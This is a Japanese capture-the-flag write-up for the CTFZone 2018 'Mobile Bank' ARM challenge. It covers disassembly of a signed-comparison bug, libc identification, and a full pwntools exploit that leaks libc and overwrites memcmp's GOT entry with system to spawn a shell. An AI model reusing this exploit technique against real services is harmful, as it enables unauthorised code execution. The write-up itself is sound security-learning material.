CTFZone 2018 Write-up

[CTFZone 2018 Quals](https://ctf.bi.zone/)

ARM問のwrite-up

# Mobile Bank

```
         _._._                       _._._
        _|   |_                     _|   |_
        | ... |_._._._._._._._._._._| ... |
        | ||| |  o NATIONAL BANK o  | ||| |
        | """ |  """    """    """  | """ |
   ())  |[-|-]| [-|-]  [-|-]  [-|-] |[-|-]|  ())
  (())) |     |---------------------|     | (()))
 (())())| """ |  """    """    """  | """ |(())())
 (()))()|[-|-]|  :::   .-"-.   :::  |[-|-]|(()))()
 ()))(()|     | |~|~|  |_|_|  |~|~| |     |()))(()
    ||  |_____|_|_|_|__|_|_|__|_|_|_|_____|  ||
 ~ ~^^ @@@@@@@@@@@@@@/=======\@@@@@@@@@@@@@@ ^^~ ~
      ^~^~                                ~^~^

```

問題はバイナリがひとつだけで，libcは与えられない．

```
$ file mobile_bank
mobile_bank: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=06a8621f9bed9d7b59bf64d2fd86cd57ba322791, stripped
$ checksec --file mobile_bank
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0        6mobile_bank
$
```

fileコマンドの出力からARMの32bitのバイナリであるとわかる．
stringsをした感じ，問題サーバはraspberry piの可能性が高いので，こちらもrapberry piでバイナリを動かす．

## 解析

静的解析はobjdumpで逆アセンブルを出力してテキストエディタで編集しながら読んだ．
有料版のIDA Pro欲しい．

### バグ

```
<set_id>:
   10c94:       e92d4800        push    {fp, lr}
   10c98:       e28db004        add     fp, sp, #4
   10c9c:       e24dd008        sub     sp, sp, #8
   10ca0:       e59f0038        ldr     r0, [pc, #56]   ; 10ce0 <__gmon_start__@plt+0x4c0>
   10ca4:       ebfffeaa        bl      10754 <printf@plt>
   10ca8:       eb00015d        bl      11224 <read_int>
   10cac:       e1a03000        mov     r3, r0
   10cb0:       e50b3008        str     r3, [fp, #-8]
   10cb4:       e51b3008        ldr     r3, [fp, #-8]
   10cb8:       e353000f        cmp     r3, #15
   10cbc:       da000002        ble     10ccc <__gmon_start__@plt+0x4ac> ; BUG

   10cc0:       e59f001c        ldr     r0, [pc, #28]   ; 10ce4 <__gmon_start__@plt+0x4c4>
   10cc4:       ebfffea5        bl      10760 <puts@plt>
   10cc8:       ea000002        b       10cd8 <__gmon_start__@plt+0x4b8>

   10ccc:       e51b3008        ldr     r3, [fp, #-8]
   10cd0:       e59f2010        ldr     r2, [pc, #16]   ; 10ce8 <__gmon_start__@plt+0x4c8>
   10cd4:       e5823000        str     r3, [r2]
   10cd8:       e24bd004        sub     sp, fp, #4
   10cdc:       e8bd8800        pop     {fp, pc}


```

IDを設定する関数にバグがあり，負の数をIDに設定できる．
真ん中あたりの条件分岐が符号付きになっている．
このプログラムは様々な情報をグローバル変数の配列で持っていて，IDはインデックスの役割をしてるので，マイナスが設定できると，配列より上のメモリ領域にアクセスできる．
グローバル変数より上にあるのはGlobal Offset Tableなので，libcがわかっていればGOTの読み出しからのsystemに書き換えでシェルが取れる．

## libc

手元の環境とコンパイラは同じはずなのになぜかlibcは違った．
[debianパッケージのwebサイト](https://packages.debian.org/search?searchon=sourcenames&keywords=glibc)から問題サーバと同じlibcが入手出来た．

## 攻撃の流れ

1.`set account id`でIDを-12に設定する．
2.`print account info`で`close`のアドレスがわかる
3.`close`のアドレスから`system`のアドレスを求める
4.`set account id`でIDを-7に設定する
5.`print account info`で`memcmp`のGOTの初期値を調べる
6.`make transaction`で`memcmp`を`system`に書き換える
7.`enable debug`で`system("sh;...");`を呼ぶ

```exploit.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
import sys

binary_file = './mobile_bank'
#libc_file   = './libc.so.6'
libc_file = './libc-2.24.so'

context.arch = 'arm'
context.os   = 'linux'
context.terminal = ['tmux', 'split-window', '-h']

binary = ELF(binary_file)
libc   = ELF(libc_file)

def recv_menu(tube, selector):
    tube.recvuntil('choice: ')
    tube.sendline(str(selector))

def set_id(tube, _id):
    recv_menu(tube, 2)
    tube.sendline(str(_id))

def make_transaction(tube, value):
    recv_menu(tube, 4)
    tube.recvuntil('value: ')
    tube.sendline(str(value))

def account_info(tube):
    recv_menu(tube, 5)
    tube.recvuntil('value: ')
    value = int(tube.recvuntil('$')[:-1])
    #return 2**32 + value if value < 0 else value
    return value

def enable_debug(tube, password):
    recv_menu(tube, 6)
    tube.recvuntil('password: ')
    tube.send(password)

def main():
    if len(sys.argv) == 2 and sys.argv[1] == '--local':
        tube = remote('raspberrypi', 23456)
    elif len(sys.argv) == 2 and sys.argv[1] == '--remote':
        tube = remote('pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337)
    else:
        tube = remote('raspberrypi', 12345)

    set_id(tube, -12) # close
    #close_addr = 2**32 - account_info(tube)
    close_addr = account_info(tube)
    libc_base = close_addr - libc.symbols['close']
    log.info(hex(libc_base))

    set_id(tube, -7) # memcmp
    default_value = account_info(tube)
    log.info(hex(default_value))
    system_addr = libc_base + libc.symbols['system']
    make_transaction(tube, system_addr - default_value)
    enable_debug(tube, 'sh;')
    tube.interactive()

if __name__ == '__main__':
    main()

```